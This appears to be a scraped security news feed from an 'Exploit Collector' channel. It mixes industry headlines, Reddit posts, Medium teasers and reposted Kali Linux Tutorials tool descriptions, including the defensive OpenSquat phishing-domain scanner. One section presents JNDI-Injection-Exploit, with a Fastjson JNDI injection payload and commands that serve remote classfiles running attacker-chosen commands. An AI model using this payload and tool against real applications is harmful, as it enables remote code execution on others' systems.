Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How Security Complexity Is Being Weaponized

As environments grow noisier, it becomes easier for attackers to intentionally create distractions.

Dark Reading: Attacks/Breaches
Cybercriminals Fighting Over Cloud Workloads for Cryptomining

Whether compromising misconfigured cloud infrastructure or taking advantage of free-tier cloud development platforms, attackers see a vast pool of workloads to use for cryptomining.

Dark Reading: Attacks/Breaches
Smart Cities: Secure by Design? It Takes a Village

Smart-city security breaches have potentially very serious consequences — they can be economically devastating and even life-threatening, if handled wrong.

Dark Reading: Attacks/Breaches
Cloud Security Architecture Needs to Be Strategic, Realistic, and Based on Risk

Info-Tech Research Group has released a new research blueprint to help organizations plan the components necessary to build a cloud security architecture.

___________________________
@hacking_Attack
@Hacking_Video

Participate in the Microsoft Sentinel Hackathon Spring 2022! Win up to $10,000!
https://www.reddit.com/r/redteamsec/comments/tsb9s7/participate_in_the_microsoft_sentinel_hackathon/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/SentinelHackathon2022) [comments] (https://www.reddit.com/r/redteamsec/comments/tsb9s7/participate_in_the_microsoft_sentinel_hackathon/)

___________________________
@hacking_Attack
@Hacking_Video

I need help with installing vagrant for metasploitable3.
https://www.reddit.com/r/Pentesting/comments/tscdiv/i_need_help_with_installing_vagrant_for/

I am experiencing a problem related to the vagrant up command. VirtualBox and Windows 10 are being used. I get an error when I run the vagrant up command, and I'm not sure what's wrong. Could you please help me? Some of the solutions on stackoverflow didn't work for me. I am trying to setup a lab to practice and mess around. Thanks for reading. 1.Here is the boxes list: boxes-list.png (https://postimg.cc/5XyCmdk8) 2.Here is the vagrant init with the boxes: 1:the-other-box-ready-to-init.png (https://postimg.cc/VSM57Y90) 2:the-other-box-ready-to-init.png (https://postimg.cc/VSM57Y90) 3.Here is the error that I get after using the vagrant up command: after-vagrant-up.png (https://postimg.cc/Hc6mzKN7) Here are the files from each box: vagrant-file.png (https://postimg.cc/yW2tKs08) and second-file.png (https://postimg.cc/YjNn5Y2b) submitted by /u/H417ER (https://www.reddit.com/user/H417ER)
[link] (https://www.reddit.com/r/Pentesting/comments/tscdiv/i_need_help_with_installing_vagrant_for/) [comments] (https://www.reddit.com/r/Pentesting/comments/tscdiv/i_need_help_with_installing_vagrant_for/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
OpenSquat : Detection Of Phishing Domains And Domain Squatting.

OpenSquat is an opensource Intelligence (OSINT) security tool to identify cyber squatting threats to specific companies or domains, such as:

* Phishing campaigns
* Domain squatting
* Typo squatting
* Bit squatting
* IDN homograph attacks
* Doppen ganger domains
* Other brand/domain related scams

It does support some key features such as:

* Automatic newly registered domain updating (once a day)
* Levenshtein distance to calculate word similarity
* Fetches active and known phishing domains (Phishing Database project)
* IDN homograph attack detection
* Integration with VirusTotal
* Integration with Quad9 DNS service
* Use different levels of confidence threshold to fine tune
* Save output into different formats (txt, JSON and CSV)
* Can be integrated with other threat intelligence tools and DNS sinkholes

How to Install

git clone https://github.com/atenreiro/opensquat
pip install -r requirements.txt

The “pip install” is just to make sure no new libs were added with the new upgrade.

Usage Examples

Edit the “keywords.txt” with your customised keywords to hunt.

#Lazy run with default options
python opensquat.py
#for all the options
python opensquat.py -h
#Search for generic terms used in phishing campaigns (can lead to false positives)
python opensquat.py -k generic.txt
#With DNS validation (quad9)
python opensquat.py –dns
#Subdomain search
python opensquat.py –subdomains
#Check for domains with open ports 80/443
python opensquat.py –portcheck
#With Phishing validation (Phishing Database)
python opensquat.py –phishing phish_results.txt
#Save output as JSON
python opensquat.py -o example.json -t json
#Save output as CSV
python opensquat.py -o example.csv -t csv
#Conduct a certificate transparency (ct) hunt
python opensquat.py –ct
#Period search – registrations from the last month (default: day)
python opensquat.py -p month
#Tweak confidence level. The lower values bring more false positives
#(0: very high, 1: high (default), 2: medium, 3: low, 4: very low
python opensquat.py -c 2
#All validations options
python opensquat.py –phishing phishing_domains.txt –dns –ct –subdomains –portcheck
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
JNDI-Injection-Exploit : A Tool Which Generates JNDI Links Can Start Several Servers

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server, LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/Object”,”autoCommit”:true}

We can replace “rmi://127.0.0.1:1099/Object” with the link generated by JNDI-Injection-Exploit to test vulnerability.

Usage

Run as

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

where:

* -C – command executed in the remote classfile.(optional , default command is “open /Applications/Calculator.app”)
* -A – the address of your server, maybe an IP address or a domain.(optional , default address is the first network interface address)

Points for attention:

* make sure your server’s ports (1099, 1389, 8180) are available .or you can change the default port in the run.ServerStart class line 26~28.
* your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec().Command in bash like “bash -c ….” need to add Double quotes.

Examples

Local demo:

* Start the tool like this:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /Applications/Calculator.app” -A “127.0.0.1”

* Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

In this example, it looks like this:

public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup(“rmi://127.0.0.1/fgf4fp”);
}

then when we run this code, the command will be executed ,

and the log will be printed in shell.

Installation

We can select one of the two methods to get the jar.

* Download the latest jar from Release.
* Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

$ cd JNDI-Injection-Exploit

$ mvn clean package -DskipTests
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Google Chrome 100 lanzado con nuevas funciones, íconos y más

https://cdn-images-1.medium.com/max/860/0*0iYOxcaSSN2pWBur
PUBLICADO EN 30 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Willkommen zum Oasis Bloom Hackathon!

https://cdn-images-1.medium.com/max/1400/1*PgcMYqJf0xXY3_GDgYDu6A.jpeg
Dieser Artikel ist eine inoffizielle Übersetzung der ursprünglichen Veröffentlichung. Die Übersetzung erfolgte durch Marvin, Oasis Labs…

Continue reading on Oasis Foundation German »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Avalanche Summit| Hackathon: Resumen y Ganadores de premios, impulsado por Encode Club

https://cdn-images-1.medium.com/max/1400/1*YwX2AL1XCTi6qEilqzHXPw.jpeg
Un resumen del Avalanche Summit Hackathon de 3 días, incluidos los ganadores, patrocinadores y fotos; escrito por Encode Club.

Continue reading on Avalanche en español »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
¿Qué puede decir tu navegador sobre ti?

https://cdn-images-1.medium.com/max/1612/0*jGBaR5xVD7nfxXtN
PUBLICADO EN 28 MARZO, 2022 POR MAURICIO MATIAS

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video